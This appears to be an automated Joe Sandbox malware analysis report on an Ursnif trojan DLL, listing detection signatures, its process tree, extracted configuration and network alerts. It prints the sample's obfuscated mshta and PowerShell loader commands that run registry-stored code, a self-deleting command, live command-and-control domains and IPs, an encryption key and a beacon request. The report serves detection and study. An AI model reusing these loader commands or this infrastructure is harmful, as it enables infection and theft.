Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
GlJdt15gDI

Overview

General Information

Sample Name:GlJdt15gDI (renamed file extension from none to dll)
Analysis ID:620146
MD5:bbc2c6cb0f39a54607b46977fd66bd1f
SHA1:a684473310754a042e4e79255b67d3eec2fafae9
SHA256:a7e43f89844a769fd9607d78151ebcfac02f58412f7800701b9978e11c82656c
Tags:dll
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Writes to foreign memory regions
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Creates a thread in another existing process (thread injection)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 7128 cmdline: loaddll32.exe "C:\Users\user\Desktop\GlJdt15gDI.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6056 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\GlJdt15gDI.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 3464 cmdline: rundll32.exe "C:\Users\user\Desktop\GlJdt15gDI.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 3992 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • rundll32.exe (PID: 4396 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
  • mshta.exe (PID: 6892 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>P61v='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(P61v).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6912 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name unyyrx -value gp; new-alias -name swnnrcsb -value iex; swnnrcsb ([System.Text.Encoding]::ASCII.GetString((unyyrx "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 7104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 4640 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1twaywxt\1twaywxt.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6416 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES52DC.tmp" "c:\Users\user\AppData\Local\Temp\1twaywxt\CSC8E4C4A27E0F846069DE582614FAC5C1.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 2856 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sch0uqly\sch0uqly.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6008 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES678D.tmp" "c:\Users\user\AppData\Local\Temp\sch0uqly\CSC67FDFB6A3EC42CBB7751570EDFD46.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 684 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 6204 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\GlJdt15gDI.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 5284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6460 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000002.00000003.493664049.0000000005589000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000010.00000003.552317810.0000028CEBFCC000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000002.00000003.492785568.0000000005608000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000002.00000003.493726041.0000000005608000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000002.00000003.447927733.0000000005608000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 15 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            2.2.rundll32.exe.12d0000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.3.rundll32.exe.4e394a0.7.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.3.rundll32.exe.4e394a0.7.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.55894a0.2.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.550a4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 4 entries

                      Sigma Signatures

                      ⊘No Sigma rule has matched

                      Snort Signatures

                      Timestamp:05/04/22-12:16:05.266889 05/04/22-12:16:05.266889
                      SID:2033203
                      Source Port:49775
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:16:05.707885 05/04/22-12:16:05.707885
                      SID:2033203
                      Source Port:49775
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:15:44.749917 05/04/22-12:15:44.749917
                      SID:2033203
                      Source Port:49771
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:05/04/22-12:16:04.827470 05/04/22-12:16:04.827470
                      SID:2033203
                      Source Port:49775
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

                      Joe Sandbox Signatures

                      Click to jump to signature section

                      Show All Signature Results

                      AV Detection

                      barindex
                      Found malware configuration
                      Source: 00000002.00000002.607520760.0000000005E30000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
                      Multi AV Scanner detection for submitted file
                      Source: GlJdt15gDI.dllReversingLabs: Detection: 40%
                      Machine Learning detection for sample
                      Source: GlJdt15gDI.dllJoe Sandbox ML: detected
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 2_2_012D5FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError,
                      Source: GlJdt15gDI.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                      Source: Binary string: ntdll.pdb source: rundll32.exe, 00000002.00000003.551693411.0000000006420000.00000004.00001000.00020000.00000000.sdmp
                      Source: Binary string: d:\in\the\town\where\ahung.pdb source: GlJdt15gDI.dll
                      Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000002.00000003.551693411.0000000006420000.00000004.00001000.00020000.00000000.sdmp
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 2_2_05E365C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary,
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 2_2_05E399BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError,
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 2_2_05E4BAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 2_2_05E3FD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree,

                      Networking

                      barindex
                      System process connects to network (likely due to code injection or exploit)
                      Source: C:\Windows\SysWOW64\rundll32.exeNetwork Connect: 185.189.151.28 80
                      Snort IDS alert for network traffic
                      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49771 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49771 -> 13.107.42.16:80
                      Source: TrafficSnort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49775 -> 185.189.151.28:80
                      Source: TrafficSnort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49775 -> 185.189.151.28:80
                      Uses ping.exe to check the status of other devices and networks
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: Joe Sandbox ViewASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH
                      Source: global trafficHTTP traffic detected: GET /drew/krFJFZapp/FeVooZCa3X9CgEv8xl0O/YLbv5AhiuWs5MGksInl/tBlU_2FxtzsdfsZwM6Ovod/67bW8E4T2vUgE/HeLxzTad/oZP5OVXLlpNLv_2FOBj0V80/84LkUkK4y0/sJqpez9uSW7Jv6TpE/bISJOVuuOcGU/NkOjEPGUE29/vYH38g_2BE1Ulb/tT4DQxlwBXjg697UaCcr0/Udl7KSNzZ6A4c_2B/rr_2FdcFBzusftO/w9Exv3OLpwBuX38e1o/KQyxQpAIiKhAs/_2BS9Lh.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
                      Source: global traffic